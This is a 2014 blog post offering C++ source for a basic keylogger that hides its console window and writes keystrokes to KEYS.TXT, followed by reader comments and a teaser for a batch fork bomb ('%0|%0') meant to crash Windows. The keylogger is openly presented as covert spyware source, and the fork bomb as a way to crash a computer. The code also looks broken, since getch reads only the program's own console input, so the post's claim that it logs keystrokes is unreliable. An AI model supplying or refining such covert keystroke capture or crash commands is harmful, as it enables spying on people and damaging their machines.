Monday, January 13, 2014

C++ keylogger code

Here is C++ code for a basic keylogger
# include <stdio.h>
# include <conio.h>
# include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
{
int cha;
char ch;
FILE *fptr;
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
while(1)
{
if ( kbhit() )
{
ch = getch();
cha = ch;
fptr = fopen("KEYS.TXT", "a+");
fputc(ch,fptr);
fclose(fptr);
if ( cha == 27 )
{
return 0; 
}
}
}
}
you will need a compiler to run this just search for a compiler on google.
please like subscribe and follow

2 comments:

  1. and where does it save? and, how can i stop it?

    ReplyDelete
    Replies
    1. Hey it saves it in the file KEYS.TXT file and to stop it you can either stop it using task manager or next time you turn on your computer it will no longer be running

      Delete

how to make a batch file to crash windows

here is the "code" %0|%0 paste that in a notepad and save it as whateveryou want.bat for example lol.bat by running this it...